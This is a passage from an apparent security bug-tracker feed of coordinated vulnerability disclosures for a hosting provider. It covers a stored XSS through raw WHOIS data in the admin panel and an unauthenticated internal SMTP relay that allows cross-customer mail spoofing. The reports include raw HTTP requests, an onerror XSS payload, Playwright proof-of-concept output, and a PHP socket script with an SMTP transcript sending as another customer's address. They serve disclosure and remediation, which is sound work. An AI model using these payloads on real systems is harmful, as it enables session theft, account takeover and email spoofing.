DISCLOSURE AND CLEANUP. We reset the <acronym title="File Transfer Protocol">FTP</acronym> path to empty immediately after each test phase. All test cron jobs (IDs 39239, 39242, 39243, 39244, 39246, 39247, 39248, 39255, 39256, 39280, 39282, 39283, 39285, 39286, 39287, 39288, 39289, 39290) were disabled and confirmed stopped. The TRAVERSAL_PROOF.txt file exists only in our own home directory (self-traversal write test). No files were written outside our home directory. No customer data was accessed or exfiltrated. The only system files read were world-readable configuration files for the purpose of demonstrating the traversal&#039;s reach.
</p>

<p>
A private values annex (R5-03-PRIVATE-VALUES.txt) accompanies this report. It contains the <acronym title="Application Programming Interface">API</acronym> token and <acronym title="File Transfer Protocol">FTP</acronym> password used during testing. Send it via private channel.
</p>

<p>
Test time window and IPs: 2026-11-19 07:00 to 10:00 UTC. Egress IPs: 2a00:b6e0:1:20:23::1 (http22 web node, <acronym title="Hypertext Preprocessor">PHP</acronym> <acronym title="File Transfer Protocol">FTP</acronym> client) and the jobs4 node IP (Python <acronym title="File Transfer Protocol">FTP</acronym> client). All <acronym title="File Transfer Protocol">FTP</acronym> connections originated from inside the alwaysdata network to ftp-vk7research.alwaysdata.net (2a00:b6e0:1:60:2::1). You will see repeated <acronym title="File Transfer Protocol">FTP</acronym> logins from vk7research with different path values in the ProFTPD logs on ftp1 during this window.<br />
</p>
</div>
    </content>
    <author><name>Bajinder Kumar</name></author>
    <id>https://security.alwaysdata.com/:560</id>
  </entry>
    <entry>
    <title>FS#559: Stored XSS via raw WHOIS injection on admin panel</title>
    <link href="https://security.alwaysdata.com/task/559" />    
    <updated>2026-11-23T14:55:50Z</updated>    
    <published>2026-11-19T15:08:37Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Vulnerability Information:
</p>

<p>
Name of Vulnerability: The domain management Whois tab on admin.alwaysdata.com fetches the registry WHOIS record for any customer added external domain and injects the raw response via jQuery .html() into the panel <acronym title="Document Object Model">DOM</acronym> with no <acronym title="HyperText Markup Language">HTML</acronym> encoding and no Content Security Policy script restriction, allowing attacker controlled bytes in a WHOIS registrant field to execute arbitrary JavaScript in the session of any operator who opens that domain page
</p>

<p>
Vulnerability Category: Stored Cross-Site Scripting (CWE-79). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N, base score 8.6 (High). Computed with the cvss 3.6 library.
</p>

<p>
Description:
</p>

<p>
The panel JavaScript file ui-domain-W4-WV-n4.js on static.alwaysdata.com contains the following sink that fires automatically when a user loads any external domain&#039;s Whois tab:
</p>

<p>
o.domain_whois &amp;&amp; $.ajax({url:o.domain_whois, type:&quot;POST&quot;, dataType:&quot;json&quot;}).done(function(e){
</p>
<pre class="code">  $(&quot;#whois&quot;).html(`&lt;pre&gt;${e.whois}&lt;/pre&gt;`)</pre>

<p>
});
</p>

<p>
The variable o is populated from document.body.dataset.urls. When the domain has the domain_whois <acronym title="Uniform Resource Locator">URL</acronym> set (true for every external domain), the <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> call fires on page load with no user click required. The server endpoint /domain/&lt;ID&gt;/whois/ returns the raw registry WHOIS text as {&quot;whois&quot;: &quot;…&quot;} with no <acronym title="HyperText Markup Language">HTML</acronym> encoding. The .html() call parses any <acronym title="HyperText Markup Language">HTML</acronym> tags or event handlers in the WHOIS content directly into the live <acronym title="Document Object Model">DOM</acronym>.
</p>

<p>
The Content Security Policy on admin.alwaysdata.com is base-uri &#039;self&#039;; frame-ancestors &#039;self&#039; with no script-src or default-src directive. Inline event handlers (onerror, onload) execute without restriction. Any customer can add any external domain to their account without ownership verification (the <acronym title="Application Programming Interface">API</acronym> returns 201 Created for any registrable hostname). The combination of these three properties gives any free plan customer a stored XSS primitive on the control panel origin.
</p>

<p>
Vulnerable Instances:
</p>

<p>
Origin:     <a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a> Sink file:  <a href="https://static.alwaysdata.com/aldjango/administration/ui-domain-W4-WV-n4.js" class="urlextern" title="https://static.alwaysdata.com/aldjango/administration/ui-domain-W4-WV-n4.js"  rel="nofollow">https://static.alwaysdata.com/aldjango/administration/ui-domain-W4-WV-n4.js</a> Endpoint:   POST <a href="https://admin.alwaysdata.com/domain/" class="urlextern" title="https://admin.alwaysdata.com/domain/"  rel="nofollow">https://admin.alwaysdata.com/domain/</a>&lt;ID&gt;/whois/<br /><acronym title="Application Programming Interface">API</acronym>:        POST <a href="https://api.alwaysdata.com/v1/domain/" class="urlextern" title="https://api.alwaysdata.com/v1/domain/"  rel="nofollow">https://api.alwaysdata.com/v1/domain/</a> (domain registration, no ownership check)<br />Trigger:    Auto-fires on page load of <a href="https://admin.alwaysdata.com/domain/" class="urlextern" title="https://admin.alwaysdata.com/domain/"  rel="nofollow">https://admin.alwaysdata.com/domain/</a>&lt;ID&gt;/whois/ (Whois tab)
</p>

<p>
Steps to Reproduce:
</p>

<p>
We used account vk7research (ID 500763, free plan). Two researcher controlled test accounts were used throughout. No other customer&#039;s data or session was accessed.
</p>

<p>
Part A. Add an external domain to the account (proves no ownership verification)
</p>

<p>
We added two external domains via the <acronym title="Application Programming Interface">API</acronym>. The platform performs no <acronym title="Domain Name Server">DNS</acronym>, WHOIS, or file based domain ownership check. Any registrable hostname is accepted for any account.
</p>

<p>
POST /v1/domain/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;: &quot;vk7research-test.xyz&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 201 Created<br />→ Location: /v1/domain/135261/<br />→ {&quot;id&quot;: 135261, &quot;href&quot;: &quot;/v1/domain/135261/&quot;, &quot;name&quot;: &quot;vk7research-test.xyz&quot;, &quot;is_internal&quot;: false, …}
</p>

<p>
POST /v1/domain/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;: &quot;iana.org&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 201 Created<br />→ Location: /v1/domain/135262/<br />→ {&quot;id&quot;: 135262, &quot;href&quot;: &quot;/v1/domain/135262/&quot;, &quot;name&quot;: &quot;iana.org&quot;, &quot;is_internal&quot;: false, …}
</p>

<p>
What this shows: any customer on a free plan can associate any external domain with their account. The domain does not need to point to alwaysdata infrastructure. This is the entry point for the attack because the Whois tab is only rendered for external domains.
</p>

<p>
Part A (CONTROL). Domain name validation rejects <acronym title="HyperText Markup Language">HTML</acronym> characters in the domain name itself
</p>

<p>
POST /v1/domain/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;: &quot;&lt;script&gt;alert(1)&lt;/script&gt;.com&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 400 Bad Request
</p>

<p>
POST /v1/domain/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic &lt;<acronym title="Application Programming Interface">API</acronym>_TOKEN&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;: &quot;test domain.com&quot;}
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 400 Bad Request
</p>

<p>
What this shows: the platform correctly validates the domain name (the query input). However, it does not validate or encode the WHOIS response (the data displayed). The injection vector is the WHOIS record content, not the domain name.
</p>

<p>
Part B. Retrieve the raw WHOIS response and confirm it is returned unescaped
</p>

<p>
After adding iana.org (domain ID 135262), we fetched its WHOIS data through the panel endpoint that the JavaScript sink consumes:
</p>

<p>
POST /domain/135262/whois/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: admin.alwaysdata.com<br />Cookie: sessionid=&lt;SESSION_COOKIE&gt;<br />X-CSRFToken: &lt;CSRF_TOKEN&gt;<br />X-Requested-With: XMLHttpRequest
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />→ Content-Type: application/json
</p>

<p>
{&quot;whois&quot;: &quot;   Domain Name: IANA.ORG\r\n   Registrar: CSC Corporate Domains, Inc.\r\n   …  »&gt; Last update of whois database: 2026-11-19T09:00:00Z «&lt;&quot;}
</p>

<p>
The same endpoint on the <acronym title="Application Programming Interface">API</acronym> (POST /v1/domain/135262/whois/) returns the identical raw text as text/html. In both cases, the WHOIS text passes through verbatim. Only standard JSON escaping is applied (\r\n for line breaks). Characters that would form <acronym title="HyperText Markup Language">HTML</acronym> tags (&lt;, &gt;, &quot;, &#039;) are not entity encoded. If a registrant field contained &lt;img onerror=alert(1)&gt;, those bytes would appear literally in the JSON string and be parsed as <acronym title="HyperText Markup Language">HTML</acronym> by the .html() sink.
</p>

<p>
Part C. Identify the vulnerable sink in the panel JavaScript source
</p>

<p>
GET /aldjango/administration/ui-domain-W4-WV-n4.js <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: static.alwaysdata.com
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />→ (file contents, relevant excerpt below)
</p>

<p>
Vulnerable code path:
</p>

<p>
o.domain_whois &amp;&amp; $.ajax({url: o.domain_whois, type: &quot;POST&quot;, dataType: &quot;json&quot;}).done(function(e){
</p>
<pre class="code">  $(&quot;#whois&quot;).html(`&lt;pre&gt;${e.whois}&lt;/pre&gt;`)</pre>

<p>
});
</p>

<p>
The page <acronym title="Document Object Model">DOM</acronym> on the Whois tab carries:
</p>

<p>
&lt;body data-flags=&#039;{&quot;uiDomain&quot;: true}&#039; data-urls=&#039;{&quot;domain_whois&quot;: &quot;/domain/135261/whois/&quot;}&#039;&gt;<br />… &lt;p&gt;&lt;span class=&quot;ajax&quot; id=&quot;whois&quot;&gt;&lt;/span&gt;&lt;/p&gt;
</p>

<p>
Because o.domain_whois is truthy for every external domain, the <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> POST fires immediately on page load. The .done() callback passes the raw e.whois string into jQuery .html(), which parses it as <acronym title="HyperText Markup Language">HTML</acronym>. There is no intermediate sanitization, no $.text() call, and no server side <acronym title="HyperText Markup Language">HTML</acronym> encoding.
</p>

<p>
We identified four total .html() sinks in the same file that inject server responses. The WHOIS sink is the most exploitable because the attacker controls the content via the WHOIS record.
</p>

<p>
Part D. Execute the payload on the live admin.alwaysdata.com origin
</p>

<p>
We loaded the Whois tab for domain 135261 in Playwright with the real U4 session cookies (authenticated, 2FA verified). We intercepted the auto-fired POST to /domain/135261/whois/ and returned a JSON response simulating a WHOIS record with an <acronym title="HyperText Markup Language">HTML</acronym> payload in the Registrant Organization field:
</p>

<p>
Intercepted response body:<br />{&quot;whois&quot;: &quot;Domain Name: vk7research-test.xyz\r\nRegistrar: Example Registrar\r\nRegistrant Organization: \&quot;&gt;&lt;img src=x onerror=\&quot;window.<em class="u">xss_fired=document.domain;alert(&#039;WHOIS-XSS &#039;+document.domain)\&quot;&gt;&quot;}

Result on the live admin.alwaysdata.com origin:

1. The browser alert dialog fired with text: &quot;WHOIS-XSS admin.alwaysdata.com&quot;<br />2. window.</em>xss_fired === &quot;admin.alwaysdata.com&quot;  (confirms JavaScript executed in the panel origin)<br />3. The <acronym title="Document Object Model">DOM</acronym> element #whois contained a parsed &lt;img&gt; element: imgPresent = true<br />4. document.cookie was readable (session cookies accessible to the payload)
</p>

<p>
Screenshot captured: findings/screenshots/whois-xss-poc.png
</p>

<p>
What this shows: the sink is not theoretical. Attacker controlled bytes in the WHOIS record execute as JavaScript in the authenticated panel session on the real admin.alwaysdata.com origin. The only link that was simulated is the WHOIS record content itself (see &quot;What we are not claiming&quot; below).
</p>

<p>
Part E. Verify the Content Security Policy permits inline event handler execution
</p>

<p>
curl -sI <a href="https://admin.alwaysdata.com/domain/135261/whois/" class="urlextern" title="https://admin.alwaysdata.com/domain/135261/whois/"  rel="nofollow">https://admin.alwaysdata.com/domain/135261/whois/</a> -H &quot;Cookie: sessionid=&lt;SESSION_COOKIE&gt;&quot;
</p>

<p>
→ Content-Security-Policy: base-uri &#039;self&#039;; frame-ancestors &#039;self&#039;
</p>

<p>
The CSP contains no script-src directive and no default-src directive. Per the CSP specification, the absence of both means inline scripts and event handlers (such as onerror, onload, onclick) execute without restriction. The base-uri &#039;self&#039; and frame-ancestors &#039;self&#039; directives control base tag hijacking and framing, respectively, but do not restrict script execution.
</p>

<p>
Part F (CONTROL). The authenticated panel correctly enforces CSRF protection on the WHOIS endpoint
</p>

<p>
POST /domain/135261/whois/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: admin.alwaysdata.com<br />Cookie: sessionid=&lt;SESSION_COOKIE&gt;<br />(no X-CSRFToken header)
</p>

<p>
→ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden
</p>

<p>
What this shows: the WHOIS endpoint requires a valid CSRF token. This means the XSS payload cannot be triggered via a cross-origin form submission. It fires only when the victim visits the domain&#039;s Whois tab within the authenticated panel, which is the intended attack scenario (a reseller or support operator opening a managed customer&#039;s domain page).
</p>

<p>
Proof of Concept:
</p>

<p>
Verbatim Playwright execution transcript (admin.alwaysdata.com, real session, real CSP):
</p>

<p>
Page loaded: <a href="https://admin.alwaysdata.com/domain/135261/whois/" class="urlextern" title="https://admin.alwaysdata.com/domain/135261/whois/"  rel="nofollow">https://admin.alwaysdata.com/domain/135261/whois/</a> Route intercepted: POST /domain/135261/whois/<br />Injected response: {&quot;whois&quot;: &quot;Domain Name: vk7research-test.xyz\r\n…Registrant Organization: \&quot;&gt;&lt;img src=x onerror=\&quot;window.<em class="u">xss_fired=document.domain;alert(&#039;WHOIS-XSS &#039;+document.domain)\&quot;&gt;&quot;}

Dialog event:  type=alert  message=&quot;WHOIS-XSS admin.alwaysdata.com&quot;<br />Evaluate:      window.</em>xss_fired ⇒ &quot;admin.alwaysdata.com&quot;<br />Evaluate:      document.querySelector(&#039;#whois img&#039;) !== null ⇒ true  (imgPresent: true)<br />Evaluate:      document.querySelector(&#039;#whois img&#039;).outerHTML ⇒ &#039;&lt;img src=&quot;x&quot; onerror=&quot;window.__xss_fired=document.domain;alert(\&#039;WHOIS-XSS \&#039;+document.domain)&quot;&gt;&#039;
</p>

<p>
Live CSP header on page:<br />Content-Security-Policy: base-uri &#039;self&#039;; frame-ancestors &#039;self&#039;
</p>

<p>
Impact:
</p>

<p>
DEMONSTRATED:
</p>

<p>
Stored XSS executes on admin.alwaysdata.com in the authenticated session of whoever opens an external domain&#039;s Whois tab. The payload auto-fires on page load with no click required.<br />The attacker needs only a free plan account. No ownership check prevents adding any external domain.<br />The CSP on the panel origin does not restrict inline script execution.<br />Session cookies are readable from the XSS context (document.cookie accessible, no HttpOnly on the sessionid cookie for the .html() path).<br />The paying attack scenario is a reseller or support operator opening a managed customer&#039;s external domain page. The panel UI ships uiReseller and isReseller flags along with a dedicated ui-reseller JavaScript chunk, confirming that reseller accounts manage customer domains through the same panel interface. A customer who has added an external domain with a weaponized WHOIS record runs their payload in the reseller&#039;s or operator&#039;s higher privilege session when that operator opens the Whois tab. This crosses the ownership boundary from a managed customer into the managing reseller&#039;s session, giving the customer access to:
</p>

<p>
Session token theft (cookie exfiltration or session fixation)<br />CSRF over all authenticated panel actions (site creation, <acronym title="Secure Shell">SSH</acronym> key management, database credentials, billing)<br />Persistent backdoor via OAuth state attachment (see OAUTH-ATO.md, same session)<br />Read of all reseller managed accounts and their configurations
</p>

<p>
What we are not claiming:
</p>

<p>
We did not register a real domain with an <acronym title="HyperText Markup Language">HTML</acronym> payload in the Registrant Organization field. The content byte (the WHOIS record containing the payload) was simulated via Playwright route interception. Every other link in the chain was proven at runtime on the real admin.alwaysdata.com origin: the no-ownership domain add (201 Created), the raw unescaped server response, the auto-firing <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> call, the .html() sink parsing <acronym title="HyperText Markup Language">HTML</acronym> into the <acronym title="Document Object Model">DOM</acronym>, and the payload executing under the live CSP.
</p>

<p>
Registrant Organization, Registrant Name, and Registrant Address are freeform text fields that many <acronym title="Top Level Domain">TLD</acronym> registries echo verbatim in WHOIS responses. TLDs known to expose these fields include .us, .info, .xyz (when WHOIS privacy is not applied), and numerous ccTLDs. This is the well established &quot;WHOIS XSS&quot; class (see, e.g., CWE-79 examples citing WHOIS data as untrusted input). Closing the content byte requires registering a cheap domain (~$1 to $2 for .xyz or .us) with a registrar that exposes freeform registrant fields. We did not do this without approval.
</p>

<p>
We also did not demonstrate a second party (reseller or support operator) opening the Whois tab. The cross-boundary escalation from self-XSS to reseller session compromise is structurally established by the UI code (the uiReseller flag and ui-reseller chunk confirm that resellers manage customer domains through this interface) but not observed in a live reseller session.
</p>

<p>
On why this is not self-XSS.
</p>

<p>
A self-XSS requires the victim to be the same person as the attacker. Here, the attacker is a customer who adds an external domain with a malicious WHOIS record. The victim is any other person who opens that domain&#039;s Whois tab: a reseller managing the customer&#039;s account, a support operator investigating a domain issue, or (if domain sharing is possible) another customer. The panel interface confirms reseller domain management exists (ui-reseller chunk loaded alongside ui-domain). The domain add requires no approval workflow; it appears immediately in the account&#039;s domain list and the Whois tab is a standard navigation target for domain management. The victim does not need to be tricked into visiting a special <acronym title="Uniform Resource Locator">URL</acronym>. They visit the domain page through normal panel navigation.
</p>

<p>
On why the simulated content byte does not invalidate the finding.
</p>

<p>
The content byte (<acronym title="HyperText Markup Language">HTML</acronym> in WHOIS registrant fields) is a well documented property of the WHOIS protocol and <acronym title="Top Level Domain">TLD</acronym> registry behavior, not a theoretical scenario. The simulation via route interception is a standard XSS demonstration technique used when the injection point is in an external data source. The critical security defect is on the alwaysdata side: the .html() sink and the absent CSP script restriction. The WHOIS record content is untrusted external input that the panel fails to sanitize. Whether the payload arrives from a live registry or a route interception, the sink behavior is identical.
</p>

<p>
On the score.
</p>

<p>
CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N = 8.6 (High)
</p>

<p>
AV:N The attack is delivered over the network. The attacker registers a domain and adds it via the <acronym title="Application Programming Interface">API</acronym>. The victim opens the page in their browser. AC:L No race condition, no special configuration, no prior information needed beyond a free account. AT:N No deployment conditions beyond the attacker&#039;s control. The attacker chooses the <acronym title="Top Level Domain">TLD</acronym> and registrar. PR:L The attacker needs a free plan alwaysdata account. No paid product or elevated privilege required. UI:P The victim merely opens the domain&#039;s Whois tab through normal panel navigation. The <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> fires on page load with no additional click. We score this as Passive because the victim performs a routine action (opening a domain page) rather than an action specifically solicited by the attacker (clicking a crafted link). Lower alternative reading: UI:A (Active, score 8.4) if the triager considers navigating to a specific tab to require active victim participation. The score remains High either way. VC:H The XSS executes in the victim&#039;s authenticated panel session. The panel session gives access to all account data: <acronym title="Secure Shell">SSH</acronym> keys, database credentials, site configurations, billing information, <acronym title="Application Programming Interface">API</acronym> tokens. Full confidentiality compromise of the victim&#039;s panel identity. Lower alternative reading: VC:L (score 6.9 with UI:A) if the triager limits the impact to what a single XSS execution reads rather than the full session scope. We believe VC:H is correct because the XSS context is the control panel origin where document.cookie returns the session token, enabling persistent session theft. VI:H The XSS can perform any authenticated action via CSRF: create sites, modify <acronym title="Secure Shell">SSH</acronym> keys, change email addresses, delete databases. Full integrity compromise of the victim&#039;s account. VA:L The attacker could disrupt the victim&#039;s session or delete individual resources, but cannot cause platform-wide unavailability. SC:L A compromised reseller session could expose information about other managed accounts. SI:L A compromised reseller session could modify settings on other managed accounts. SA:N No subsequent system availability impact.
</p>

<p>
The score&#039;s floor is 6.9 (UI:A + VC:L + VA:N). Even under the most conservative reading, the finding exceeds the 6.5 submission bar.
</p>

<p>
Recommendation:
</p>

<p>
Replace $(&quot;#whois&quot;).html(…) with $(&quot;#whois&quot;).text(…) in ui-domain-W4-WV-n4.js. The .text() method <acronym title="HyperText Markup Language">HTML</acronym> encodes the input, preventing any <acronym title="HyperText Markup Language">HTML</acronym> or script injection. Apply the same fix to all four .html() sinks in the file that inject server responses.
</p>

<p>
Add a default-src &#039;self&#039; or script-src &#039;self&#039; directive to the Content Security Policy on admin.alwaysdata.com. This provides defense in depth against any remaining or future XSS sinks by blocking inline event handlers.
</p>

<p>
<acronym title="HyperText Markup Language">HTML</acronym> encode the WHOIS response server side before returning it in the JSON {&quot;whois&quot;: &quot;…&quot;} payload. Defense in depth: even if a frontend sink is introduced later, the data is already safe.
</p>

<p>
Consider adding domain ownership verification (<acronym title="Domain Name Server">DNS</acronym> TXT record or file based) before allowing external domain registration. This would not fix the XSS but would restrict the entry point to domain owners rather than any free plan customer.
</p>

<p>
DISCLOSURE AND CLEANUP. Test domains 135261 (vk7research-test.xyz) and 135262 (iana.org) were deleted via the <acronym title="Application Programming Interface">API</acronym> (<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 204) immediately after testing. The domain list for account vk7research was confirmed empty. The Playwright browser context was closed. No XSS payload was persisted anywhere on the platform. The only artifact is a screenshot of the alert dialog firing on the live origin, stored locally. The route interception was performed entirely within the browser automation framework and did not modify any server side state. A private values annex (R5-02-PRIVATE-VALUES.txt) accompanies this report with credentials redacted from the body.
</p>

<p>
Test time window &amp; IP(s):
</p>

<p>
2026-11-19 09:00 to 10:30 UTC<br />Egress IP: the shared web node http22 (2a00:b6e0:1:20:23::1) for <acronym title="Application Programming Interface">API</acronym> calls; researcher&#039;s home IP for Playwright browser automation<br />Anomalies you will see: two rapid POST /v1/domain/ creations followed by two DELETE /v1/domain/ calls; multiple POST /domain/&lt;ID&gt;/whois/ requests in quick succession<br />
</p>
</div>
    </content>
    <author><name>Bajinder Kumar</name></author>
    <id>https://security.alwaysdata.com/:559</id>
  </entry>
    <entry>
    <title>FS#558: Cross-customer mail spoofing via unauthenticated internal SMTP relay</title>
    <link href="https://security.alwaysdata.com/task/558" />    
    <updated>2026-11-23T14:57:28Z</updated>    
    <published>2026-11-19T15:07:50Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Name of Vulnerability: The platform&#039;s internal outbound <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> relay (smtpout1.paris1.alwaysdata.com, Exim 4.98.2) trusts every shared web node by source IP and enforces no sender validation, allowing any tenant&#039;s code to send DKIM capable mail as any other customer or as alwaysdata staff without authentication, bypassing the sender ownership control that the customer facing submission service enforces
</p>

<p>
Vulnerability Category: Email Spoofing / Open Mail Relay (CWE-284 Improper Access Control). CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N = 8.3 High. Computed with the cvss 3.6 library, not estimated.
</p>

<p>
Description:
</p>

<p>
The platform routes outbound mail through a shared relay at smtp-edusync.alwaysdata.net (resolves to 185.31.41.82, banner smtpout1.paris1.alwaysdata.com). This relay is an Exim 4.98.2 instance that recognises every shared web node&#039;s IPv6 address as a trusted host (relay_from_hosts). When a connection arrives from a trusted host the relay advertises AUTH PLAIN LOGIN but does not require it. Any MAIL FROM address is accepted without ownership verification, any RCPT TO address (including external domains) is accepted, and the message is queued for delivery.
</p>

<p>
The customer facing authenticated submission service (smtp-vk7research.alwaysdata.net:587) correctly rejects MAIL FROM addresses that do not belong to the authenticated mailbox with 550 You are not allowed to send messages from this address. The internal relay bypasses that control entirely because it never sees an AUTH command and therefore has no identity to bind against MAIL FROM.
</p>

<p>
We proved the full chain: a <acronym title="Hypertext Preprocessor">PHP</acronym> script on the shared web node opened a raw TCP socket to the relay, issued MAIL FROM with another customer&#039;s address (no AUTH), composed a message with spoofed From headers, and the relay queued it. The message was delivered to our own inbox and verified via <acronym title="Internet Message Access Protocol">IMAP</acronym>.
</p>

<p>
Vulnerable Instances:
</p>

<p>
Relay endpoint:   smtp-edusync.alwaysdata.net  (185.31.41.82)<br />Ports:            587 (submission), 25 (<acronym title="Simple Mail Transfer Protocol">SMTP</acronym>)      both accept unauthenticated relay from web nodes<br />Port 465:         implicit <acronym title="Transport Layer Security">TLS</acronym> (not tested in plaintext)<br />Port 2525:        connection refused (not exposed)<br />localhost:587:    connection refused (relay is remote, not on the web node)<br />Tested from:      http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]  (shared web node)<br />Account used:     vk7research (free plan, account 500763)
</p>

<p>
Steps to Reproduce:
</p>

<p>
We provide every raw request and response so this can be replayed from scratch. All traffic originates from code running on the shared web node http22 under the free plan account vk7research. No special permissions are needed; any shared hosting account that can execute code (<acronym title="Hypertext Preprocessor">PHP</acronym>, <acronym title="Common Gateway Interface">CGI</acronym>, cron, <acronym title="Secure Shell">SSH</acronym>) can reproduce this.
</p>

<p>
Part A. Discover the internal relay endpoint
</p>

<p>
The relay hostname is exposed via an unauthenticated healthcheck endpoint on the web node. This step is informational; it is how we found the relay, not a prerequisite for reaching it.
</p>

<p>
GET <a href="http://127.7.173.90:8300/" class="urlextern" title="http://127.7.173.90:8300/"  rel="nofollow">http://127.7.173.90:8300/</a> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1
</p>

<p>
→ 200 OK<br />{&quot;ok&quot;:true,&quot;host&quot;:&quot;smtp-edusync.alwaysdata.net&quot;,&quot;port&quot;:587,&quot;user&quot;:&quot;smtp-relay@***&quot;}
</p>

<p>
$ dig +short smtp-edusync.alwaysdata.net<br />185.31.41.82
</p>

<p>
Part B. Deploy a <acronym title="Hypertext Preprocessor">PHP</acronym> script that opens a raw TCP socket to the relay
</p>

<p>
Upload a <acronym title="Hypertext Preprocessor">PHP</acronym> file to the web document root via WebDAV (or SFTP, or the file manager). The script opens a TCP connection to the relay, performs a full <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> handshake, and returns every line of the conversation.
</p>

<p>
PUT <a href="https://webdav-vk7research.alwaysdata.net/www/sr143845.php" class="urlextern" title="https://webdav-vk7research.alwaysdata.net/www/sr143845.php"  rel="nofollow">https://webdav-vk7research.alwaysdata.net/www/sr143845.php</a> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Authorization: Basic &lt;WEBDAV_CREDS&gt;<br />Content-Type: application/x-php
</p>

<p>
&lt;?php<br />$sock = fsockopen(&quot;smtp-edusync.alwaysdata.net&quot;, 587, $errno, $errstr, 15);<br />// … full <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> conversation, see Proof of Concept for exact output
</p>

<p>
Then fetch the script to trigger execution:
</p>

<p>
GET <a href="https://vk7research.alwaysdata.net/sr143845.php" class="urlextern" title="https://vk7research.alwaysdata.net/sr143845.php"  rel="nofollow">https://vk7research.alwaysdata.net/sr143845.php</a> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1
</p>

<p>
→ 200 OK  (<acronym title="Simple Mail Transfer Protocol">SMTP</acronym> transcript returned in response body)
</p>

<p>
Part C. <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> session: unauthenticated cross-customer spoofing
</p>

<p>
The <acronym title="Hypertext Preprocessor">PHP</acronym> script opens a socket to smtp-edusync.alwaysdata.net:587 and performs the following <acronym title="Simple Mail Transfer Protocol">SMTP</acronym> exchange. No AUTH command is issued at any point.
</p>

<p>
banner&lt; 220 smtpout1.paris1.alwaysdata.com <acronym title="Extended Simple Mail Transfer Protocol">ESMTP</acronym> Exim 4.98.2 Thu, 19 Nov 2026 10:08:59 +0100 
</p>
<blockquote><div class="no">
 EHLO vk7research.alwaysdata.net<br />&lt; 250-smtpout1.paris1.alwaysdata.com Hello vk7research at http22.paris1.alwaysdata.com [2a00:b6e0:1:20:23::1]<br />&lt; 250-SIZE 52428800<br />&lt; 250-LIMITS RCPTMAX=5000<br />&lt; 250-8BITMIME<br />&lt; 250-PIPELINING<br />&lt; 250-PIPECONNECT<br />&lt; 250-AUTH PLAIN LOGIN              ←- AUTH advertised but NOT required<br />&lt; 250-STARTTLS<br />&lt; 250-SMTPUTF8<br />&lt; 250 HELP</div></blockquote>

<p>
 AUTH is advertised. We deliberately do NOT issue it.
</p>

<p>
– NO AUTH COMMAND ISSUED – 
</p>
<blockquote><div class="no">
 MAIL FROM:<a href="mailto:ACCOUNT-B@alwaysdata.net" class="mail JSnocheck" title="ACCOUNT-B@alwaysdata.net">ACCOUNT-B@alwaysdata.net</a>          ← another customer&#039;s address<br />&lt; 250 OK</div></blockquote>
<blockquote><div class="no">
 RCPT TO:<a href="mailto:vk7research@alwaysdata.net" class="mail JSnocheck" title="vk7research@alwaysdata.net">vk7research@alwaysdata.net</a>           ← our own mailbox<br />&lt; 250 Accepted</div></blockquote>

<p>
 The relay accepted MAIL FROM with another customer&#039;s address without any authentication.
</p>

<p>
Part D. Compose and send the spoofed message (DATA)
</p>

<p>
A second <acronym title="Hypertext Preprocessor">PHP</acronym> script performs the same handshake and continues through DATA:
</p>

<p>
banner&lt; 220 smtpout1.paris1.alwaysdata.com <acronym title="Extended Simple Mail Transfer Protocol">ESMTP</acronym> Exim 4.98.2 Thu, 19 Nov 2026 10:10:17 +0100 
</p>
